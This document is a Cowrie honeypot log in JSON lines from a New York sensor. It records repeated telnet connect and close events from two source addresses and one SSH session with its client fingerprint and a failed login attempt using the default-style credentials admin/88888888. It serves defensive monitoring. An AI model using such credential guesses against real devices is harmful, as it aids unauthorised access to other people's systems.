{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":40360,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c4e3bf699ec","protocol":"telnet","message":"New connection: 216.137.181.119:40360 (159.203.135.109:23) [session: 5c4e3bf699ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:22.480708Z"}
{"eventid":"cowrie.session.closed","duration":30.67820954322815,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:24.039745Z","src_ip":"137.220.54.231","session":"b9bffd5bb86f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41798,"dst_ip":"159.203.135.109","dst_port":23,"session":"3425cff9b8d2","protocol":"telnet","message":"New connection: 216.137.181.119:41798 (159.203.135.109:23) [session: 3425cff9b8d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:24.792814Z"}
{"eventid":"cowrie.session.closed","duration":30.62571883201599,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:25.246457Z","src_ip":"137.220.54.231","session":"a5210c988942","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41015386581421,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:26.016130Z","src_ip":"137.220.54.231","session":"d3f15b99fc3c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68322730064392,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:26.045730Z","src_ip":"137.220.54.231","session":"fa8c746d0c21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"29a8a4656fac","protocol":"telnet","message":"New connection: 216.137.181.119:42898 (159.203.135.109:23) [session: 29a8a4656fac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:26.256378Z"}
{"eventid":"cowrie.session.closed","duration":30.741976499557495,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:28.236108Z","src_ip":"137.220.54.231","session":"434dba79a3d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.916734218597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:28.274131Z","src_ip":"216.137.181.119","session":"a0229baa4ff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":44468,"dst_ip":"159.203.135.109","dst_port":23,"session":"c42d895d5936","protocol":"telnet","message":"New connection: 216.137.181.119:44468 (159.203.135.109:23) [session: c42d895d5936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:28.317519Z"}
{"eventid":"cowrie.session.closed","duration":30.942936658859253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:28.375509Z","src_ip":"216.137.181.119","session":"842e25cb4b5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.45761227607727,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:28.604110Z","src_ip":"137.220.54.231","session":"c20bd3f7d439","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":46156,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5be4efcfbbe","protocol":"telnet","message":"New connection: 216.137.181.119:46156 (159.203.135.109:23) [session: b5be4efcfbbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:30.563100Z"}
{"eventid":"cowrie.session.closed","duration":30.463885068893433,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:32.309801Z","src_ip":"137.220.54.231","session":"29cb96fa8dc7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":47416,"dst_ip":"159.203.135.109","dst_port":23,"session":"62c9ba18c0f9","protocol":"telnet","message":"New connection: 216.137.181.119:47416 (159.203.135.109:23) [session: 62c9ba18c0f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:32.504667Z"}
{"eventid":"cowrie.session.closed","duration":30.80441689491272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:33.208951Z","src_ip":"137.220.54.231","session":"dd25791c329e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54150,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9619a081b6a","protocol":"telnet","message":"New connection: 137.220.54.231:54150 (159.203.135.109:23) [session: b9619a081b6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:33.471133Z"}
{"eventid":"cowrie.session.closed","duration":31.4968421459198,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:33.478540Z","src_ip":"137.220.54.231","session":"c7e6816be8f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54162,"dst_ip":"159.203.135.109","dst_port":23,"session":"559808d88266","protocol":"telnet","message":"New connection: 137.220.54.231:54162 (159.203.135.109:23) [session: 559808d88266]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:33.889934Z"}
{"eventid":"cowrie.session.closed","duration":30.302735328674316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:34.037587Z","src_ip":"137.220.54.231","session":"44d388708013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.228076934814453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:40.053095Z","src_ip":"137.220.54.231","session":"7accbc1bdeaf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":54178,"dst_ip":"159.203.135.109","dst_port":23,"session":"b656894c637d","protocol":"telnet","message":"New connection: 137.220.54.231:54178 (159.203.135.109:23) [session: b656894c637d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:40.118179Z"}
{"eventid":"cowrie.session.closed","duration":31.063897371292114,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:40.144105Z","src_ip":"137.220.54.231","session":"ec205b63b871","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.615528106689453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:41.823054Z","src_ip":"137.220.54.231","session":"89ac9ac25b47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":53412,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e52e0c410f9","protocol":"telnet","message":"New connection: 137.220.54.231:53412 (159.203.135.109:23) [session: 5e52e0c410f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:42.155265Z"}
{"eventid":"cowrie.session.closed","duration":30.970492362976074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:42.403150Z","src_ip":"137.220.54.231","session":"3788dea4e9a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.315937519073486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:43.018114Z","src_ip":"137.220.54.231","session":"9d8f87e18cc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.913283109664917,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:43.994237Z","src_ip":"137.220.54.231","session":"50c1858591c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.217008113861084,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:44.261753Z","src_ip":"137.220.54.231","session":"00da5c5aa458","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.579073429107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:44.267716Z","src_ip":"137.220.54.231","session":"d7a4b4317eab","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":53424,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4c9131e92bd","protocol":"telnet","message":"New connection: 137.220.54.231:53424 (159.203.135.109:23) [session: f4c9131e92bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:45.230008Z"}
{"eventid":"cowrie.session.closed","duration":30.586233377456665,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:46.114576Z","src_ip":"137.220.54.231","session":"f725a3c313dc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02509045600891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:47.421939Z","src_ip":"216.137.181.119","session":"745718ae086d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92698574066162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:48.289560Z","src_ip":"216.137.181.119","session":"6c57c0ad0b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.55260467529297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:48.900613Z","src_ip":"137.220.54.231","session":"d8e0217097a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47869849205017,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:49.036730Z","src_ip":"137.220.54.231","session":"871028824321","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":33534,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b0d81b60008","protocol":"telnet","message":"New connection: 216.137.181.119:33534 (159.203.135.109:23) [session: 7b0d81b60008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:49.614356Z"}
{"eventid":"cowrie.session.closed","duration":30.768946170806885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:51.406143Z","src_ip":"216.137.181.119","session":"70943b4d23eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":35422,"dst_ip":"159.203.135.109","dst_port":23,"session":"2156e2938a68","protocol":"telnet","message":"New connection: 216.137.181.119:35422 (159.203.135.109:23) [session: 2156e2938a68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:51.542375Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35156,"dst_ip":"159.203.135.109","dst_port":22,"session":"961b1feb7176","protocol":"ssh","message":"New connection: 159.203.92.129:35156 (159.203.135.109:22) [session: 961b1feb7176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:51.929368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:51.947555Z","src_ip":"159.203.92.129","session":"961b1feb7176","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:51.952394Z","src_ip":"159.203.92.129","session":"961b1feb7176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"88888888","message":"login attempt [admin/88888888] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:52.034173Z","src_ip":"159.203.92.129","session":"961b1feb7176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.506836891174316,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:52.346396Z","src_ip":"216.137.181.119","session":"8a8597b956ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:53.041347Z","src_ip":"159.203.92.129","session":"961b1feb7176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.830766201019287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:53.311333Z","src_ip":"216.137.181.119","session":"5c4e3bf699ec","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268314123153687,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:53.341028Z","src_ip":"137.220.54.231","session":"d9261706192b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":37330,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58291139aaf","protocol":"telnet","message":"New connection: 216.137.181.119:37330 (159.203.135.109:23) [session: c58291139aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:54.227211Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55720,"dst_ip":"159.203.135.109","dst_port":23,"session":"58b83565e775","protocol":"telnet","message":"New connection: 137.220.54.231:55720 (159.203.135.109:23) [session: 58b83565e775]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:54.260947Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55734,"dst_ip":"159.203.135.109","dst_port":23,"session":"45ff52b3e828","protocol":"telnet","message":"New connection: 137.220.54.231:55734 (159.203.135.109:23) [session: 45ff52b3e828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:55.111220Z"}
{"eventid":"cowrie.session.closed","duration":30.677310466766357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:55.470021Z","src_ip":"216.137.181.119","session":"3425cff9b8d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":39972,"dst_ip":"159.203.135.109","dst_port":23,"session":"7274207a6612","protocol":"telnet","message":"New connection: 216.137.181.119:39972 (159.203.135.109:23) [session: 7274207a6612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:56.461063Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":39984,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab4b8fd0c278","protocol":"telnet","message":"New connection: 216.137.181.119:39984 (159.203.135.109:23) [session: ab4b8fd0c278]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:56.466080Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55738,"dst_ip":"159.203.135.109","dst_port":23,"session":"93ad4808b954","protocol":"telnet","message":"New connection: 137.220.54.231:55738 (159.203.135.109:23) [session: 93ad4808b954]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:57.230544Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41008,"dst_ip":"159.203.135.109","dst_port":23,"session":"5396db24d9d0","protocol":"telnet","message":"New connection: 216.137.181.119:41008 (159.203.135.109:23) [session: 5396db24d9d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:57.345747Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41018,"dst_ip":"159.203.135.109","dst_port":23,"session":"d42aa89565ff","protocol":"telnet","message":"New connection: 216.137.181.119:41018 (159.203.135.109:23) [session: d42aa89565ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:57.362913Z"}
{"eventid":"cowrie.session.closed","duration":31.121054649353027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:57.377274Z","src_ip":"216.137.181.119","session":"29a8a4656fac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41358,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0edcaf29a6b","protocol":"telnet","message":"New connection: 216.137.181.119:41358 (159.203.135.109:23) [session: e0edcaf29a6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:57.551385Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41994,"dst_ip":"159.203.135.109","dst_port":23,"session":"b539f44063d8","protocol":"telnet","message":"New connection: 216.137.181.119:41994 (159.203.135.109:23) [session: b539f44063d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:58.368028Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":41996,"dst_ip":"159.203.135.109","dst_port":23,"session":"83f9dbdcf6d3","protocol":"telnet","message":"New connection: 216.137.181.119:41996 (159.203.135.109:23) [session: 83f9dbdcf6d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:58.374241Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":42128,"dst_ip":"159.203.135.109","dst_port":23,"session":"74526b68345d","protocol":"telnet","message":"New connection: 216.137.181.119:42128 (159.203.135.109:23) [session: 74526b68345d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:58.429716Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":42370,"dst_ip":"159.203.135.109","dst_port":23,"session":"9026fe3fd6eb","protocol":"telnet","message":"New connection: 216.137.181.119:42370 (159.203.135.109:23) [session: 9026fe3fd6eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:58.520072Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55740,"dst_ip":"159.203.135.109","dst_port":23,"session":"42d742d10365","protocol":"telnet","message":"New connection: 137.220.54.231:55740 (159.203.135.109:23) [session: 42d742d10365]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:59.226368Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":43374,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f89de90fee3","protocol":"telnet","message":"New connection: 216.137.181.119:43374 (159.203.135.109:23) [session: 2f89de90fee3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:59.332065Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":43378,"dst_ip":"159.203.135.109","dst_port":23,"session":"db42d03fd603","protocol":"telnet","message":"New connection: 216.137.181.119:43378 (159.203.135.109:23) [session: db42d03fd603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:59.357228Z"}
{"eventid":"cowrie.session.closed","duration":31.15088963508606,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:45:59.468272Z","src_ip":"216.137.181.119","session":"c42d895d5936","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55742,"dst_ip":"159.203.135.109","dst_port":23,"session":"e886557a0399","protocol":"telnet","message":"New connection: 137.220.54.231:55742 (159.203.135.109:23) [session: e886557a0399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:00.101254Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55756,"dst_ip":"159.203.135.109","dst_port":23,"session":"12b987b7239e","protocol":"telnet","message":"New connection: 137.220.54.231:55756 (159.203.135.109:23) [session: 12b987b7239e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:00.112630Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.220.54.231","src_port":55772,"dst_ip":"159.203.135.109","dst_port":23,"session":"0053e17d29dc","protocol":"telnet","message":"New connection: 137.220.54.231:55772 (159.203.135.109:23) [session: 0053e17d29dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:00.242028Z"}
{"eventid":"cowrie.session.closed","duration":30.750410556793213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:01.313357Z","src_ip":"216.137.181.119","session":"b5be4efcfbbe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":45224,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6abde02bfe2","protocol":"telnet","message":"New connection: 216.137.181.119:45224 (159.203.135.109:23) [session: d6abde02bfe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:01.351136Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":46086,"dst_ip":"159.203.135.109","dst_port":23,"session":"065a5cd8b9d1","protocol":"telnet","message":"New connection: 216.137.181.119:46086 (159.203.135.109:23) [session: 065a5cd8b9d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:02.049011Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.137.181.119","src_port":47722,"dst_ip":"159.203.135.109","dst_port":23,"session":"916c771f41f4","protocol":"telnet","message":"New connection: 216.137.181.119:47722 (159.203.135.109:23) [session: 916c771f41f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:03.411609Z"}
{"eventid":"cowrie.session.closed","duration":31.198325157165527,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:03.702685Z","src_ip":"216.137.181.119","session":"62c9ba18c0f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634585857391357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:46:04.105571Z","src_ip":"137.220.54.231","session":"b9619a081b6a","protocol":"telnet"}
